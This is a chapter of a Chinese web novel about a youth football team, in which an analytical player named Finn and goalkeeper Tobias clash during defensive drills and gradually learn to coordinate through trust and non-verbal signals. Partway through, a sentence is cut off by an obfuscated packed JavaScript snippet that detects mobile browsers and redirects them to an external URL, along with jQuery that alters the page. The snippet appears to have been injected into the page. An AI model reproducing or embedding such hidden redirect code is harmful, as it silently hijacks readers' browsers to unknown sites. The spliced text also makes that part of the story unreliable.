沃尔夫冈教练说到做到。接下来一周的训练课，重点完全转向了针对“科隆七种模式”的防守演练。
训练被设计得极具针对性，甚至有些刻板。沃尔夫冈将队伍分成攻防两组，进攻方模拟科隆的套路，一遍又一遍地演练那七种模式；防守方则被要求严格执行课堂上推导出的“协同程序”。
“模式一，诱饵前插，开始！”沃尔夫冈吹哨。
进攻方左前卫开始内切晃动，左后卫伺机前插。防守方的右前卫（今天轮到托比亚斯客串这个位置）和右后卫必须立刻做出反应：右前卫紧贴干扰左前卫，同时大喊“后卫注意插上！”；右后卫则必须第一时间卡住左后卫的前插线路。
第一次演练，混乱不堪。右前卫跟丢了人，右后卫启动慢了，两人几乎撞在一起。左后卫轻松接到传球，下底传中。
“停！”沃尔夫冈的吼声像鞭子，“程序呢？！你们的眼睛在看哪里？！重来！”
第二次，第三次……同样的模式，反复捶打。汗水浸透了训练服，枯燥的重复消磨着耐心，尤其是对那些习惯了自由发挥的足球派。
托比亚斯越来越烦躁。让他这个门将（即使只是客串）去干这种需要高度专注和纪律的防守细活，本就别扭。更让他恼火的是，防守的“标准答案”是芬恩那个小组提炼出来的，而他自己在演练中屡屡成为“错误示范”的典型。
“见鬼！这他妈怎么防？”在一次被“模式三：快速转移-弱侧套上”轻松打穿后，托比亚斯狠狠踹了一脚草皮，“球传那么快，人跑得过来吗？”
“不是让你追球，”芬恩的声音在旁边响起，平静得有些刺耳，“是让你预判。球往左边转移的瞬间，你就该向自己的左后方移动，压缩对方接球队员的空间，同时给中场补位的队友指明方向。你刚才站在原地等球过来，已经晚了。”
托比亚斯猛地转头，怒视芬恩：“预判？你说得轻巧！场上瞬息万变，你以为人人都有你那颗能‘计算’的怪胎脑子？”
“不需要计算，”芬恩迎着他的目光，语速不快，但每个字都很清晰，“只需要记住模式。对方做A动作，我们就触发B反应。这是教练设定的程序。”
“程序，程序！足球是热血运动，不是他妈的下棋！”托比亚斯啐了一口，“靠程序能赢球？笑话！”
周围的队员都看了过来，气氛紧张。
沃尔夫冈走了过来，目光严厉地扫过两人：“吵什么？托比亚斯，你的问题不是热血不够，是脑子不动。史密斯，你的‘程序’解释得很对，但你也别光说不练——下次对抗，你去打防守组的右前卫，托比亚斯，你回你的门将位置。我要看看，当‘程序制定者’自己下场执行时，效果如何。”
挑战升级了。
从“先导分析者”、“课堂讲解者”，变成了“程序执行者”，并且被直接推到了需要与队友（尤其是像托比亚斯这样心存抵触的队友）紧密协同的位置上。
第一次以防守右前卫身份参加对抗赛，芬恩就感受到了压力。进攻方（由几个技术好的队员和哈特曼、维贝尔等学术派组成）有意识地、甚至带着点报复意味地，反复冲击他这一侧，尤其爱用“诱饵前插”和“肋部斜塞”这两种模式。
芬恩的大脑高速运转。他能清晰“看见”对方的意图，能判断出模式类型。但他的身体执行却遇到了障碍。他的防守技巧本就平平，面对逼真的假动作和快速的传球，他的反应总是慢那么零点几秒。更重要的是，他发现自己与右后卫（一个名叫本诺的、同样属于足球派的壮实男孩）之间的“协同”几乎不存在。
“注意插上！”芬恩在一次对方左前卫内切时大喊。
本诺看了他一眼，似乎犹豫了一下该不该听这个“美国程序小子”的指挥，就这一犹豫，对方的左后卫已经从他身边掠过。
“补位！”芬恩又喊，希望中场的队友能封堵传中路线。
但中场的队友（另一个足球派）正盯着持球的左后卫，似乎没听到，或者没理解芬恩喊的“补位”具体指什么。
一次漂亮的“模式一”配合，打穿了整条右路，托比亚斯虽然奋力扑救，但球还是应声入网。
托比亚斯从地上爬起来，脸色铁青，冲着芬恩和本诺吼道：“你们俩在梦游吗？！一个瞎喊，一个不动！”
本诺嘟囔着：“他喊得那么急，谁知道该干嘛……”
芬恩沉默地擦着汗。他意识到问题所在：他脑中的“程序”是清晰、完整的逻辑链，但到了场上，变成简短的口令和瞬息的动作时，信息严重损耗了。队友没有共享他的“战术地图”，无法将他压缩的指令瞬间还原为正确的行动。他的“协同”是单方面的输出，而非双向的、默契的联动。
“程序”在真实的、充满噪音和对抗的绿茵场上，第一次显露出了它的脆弱性。
中场休息时，沃尔夫冈把防守组叫到一起。“看出问题了吗？”他问，目光主要落在芬恩身上，“你们的‘程序’在纸上、在静态分析时完美无缺。但在动态中，为什么失效了？”
芬恩思考着，然后说：“沟通效率太低。指令不统一，响应不及时。”
“还有呢？”
“信任度不够。”哈特曼在旁边冷静地补充，“防守队员之间缺乏对彼此意图和能力的本能信任，导致在需要瞬间协同的决策点上出现迟疑。”
沃尔夫冈点头：“没错。防守不是拼图游戏，把每个人放到正确位置就完了。它是流动的、基于预判和互信的集体舞蹈。你们的‘程序’是舞步说明，但你们还没学会跟着同一首曲子、信任彼此的节奏去跳。”
他指了指芬恩和本诺：“你们俩，接下来十分钟，不许说话。只用眼睛和手势交流，防住三次进攻。其他人看着。”
这简直是更严峻的考验。没有语言，两个本就缺乏默契的人，要靠眼神和肢体语言去解读对方的意图、预判对方的动作、完成复杂的协同防守。
前两次尝试一塌糊涂。芬恩向左移动，本诺却以为他要上抢，也跟着上提，身后空当大开。第三次，当对方左前卫再次内切时，芬恩没有立刻跟，而是死死卡住了对方可能给左后卫传球的线路，同时用手指了指自己的身后区域。本诺愣了一下，这次似乎看懂了，迅速移动到芬恩身后，保护住了肋部。进攻被延缓了。
“看到了吗？”沃尔夫冈说，“有时候，行动比喊叫更有力。你们需要建立不需要语言的‘共同理解’。这需要时间，需要无数次一起犯错、一起纠正。”
接下来的训练，沃尔夫冈刻意增加了芬恩和不同防守队员（尤其是足球派）配对
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179364|196939||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
练习的时长，要求他们在高压下完成简单的协同任务，并反复强调“观察队友比观察对手更重要”。
过程极其痛苦。误解、碰撞、失误层出不穷。托比亚斯时不时发出嘲讽的嗤笑。但渐渐地，一些微妙的变化开始发生。
一次成功的协同防守后，本诺下意识地和芬恩击了下掌，虽然立刻又别扭地转过头去。
另一次，当中场队员及时补位，化解了一次危机后，芬恩朝他竖了下大拇指。那个队员（一个平时沉默寡言的足球派）愣了一下，然后微微点了点头。
信任的幼苗，在枯燥的重复和共同的挫败感中，极其缓慢地萌芽。
一周后的内部对抗赛，是检验训练成果的时刻。
比赛异常激烈。进攻方依然执着地攻击芬恩所在的右路。但这一次，防守质量明显提升。
当对方再次祭出“诱饵前插”时，芬恩没有盲目跟防左前卫，而是用身体轻微靠住对方，延缓其动作，同时用眼神死死锁定了蠢蠢欲动的左后卫。本诺这次没有犹豫，几乎在芬恩靠上去的同时，就提前移动，封死了左后卫的前插线路。球传到一半就被本诺断下。
反击！
“好防！”托比亚斯在门里喊了一声，虽然声音不大。
比赛最终以1:1平局结束。芬恩所在的防守组没有再丢球，那个丢球是左中卫的个人失误。
赛后总结，沃尔夫冈重点表扬了防守组的进步：“尤其是右路的协防，开始有样子了。不再是各自为战，开始有联动，有互补。这说明，程序只有被理解、被信任、被熟练执行，才能真正生效。”
他看向芬恩、本诺，以及其他防守队员：“你们证明了，用脑子踢球，和用热血踢球，不冲突。结合起来，才能变得更难被击败。”
托比亚斯抱着胳膊站在人群边缘，没说话，但看向芬恩的眼神，少了些纯粹的敌意，多了些复杂的审视。
芬恩独自走回更衣室，疲惫但充实。汗水顺着脸颊流下，滴在地板上。
他再次拿出笔记本，在“要解决的问题”下面补充：
场上沟通：如何将复杂指令转化为高效、无歧义的信号（语言/非语言）？
建立互信：如何让队友（尤其足球派）相信我的判断和“程序”？
身体执行：如何缩短大脑判断到身体反应的延迟？需要更针对性的防守技术训练。
而在“今天学到的”一栏，他写下：
程序是骨架，信任是血肉。
没有血肉的骨架是脆弱的，没有骨架的血肉是混乱的。
足球是11个人的实时协同算法，而我，才刚刚开始学习如何成为其中一个有效的“变量”。
他知道，与托比亚斯的根本矛盾远未解决，足球派与学术派的隔阂依然存在，他自己的技术短板更是明显。
但至少，他成功地将一部分“系统思维”从分析室带到了训练场，并让它开始艰难地、磕磕绊绊地运转起来。
下一次挑战会是什么？或许是真正的比赛，或许是更复杂的战术变化，或许是与托比亚斯更直接的正面冲突。
但此刻，他学会了更重要的一课：在勒沃库森，甚至在整个足球世界，智慧的价值不在于你懂得多少，而在于你能让多少人，和你一起正确地行动。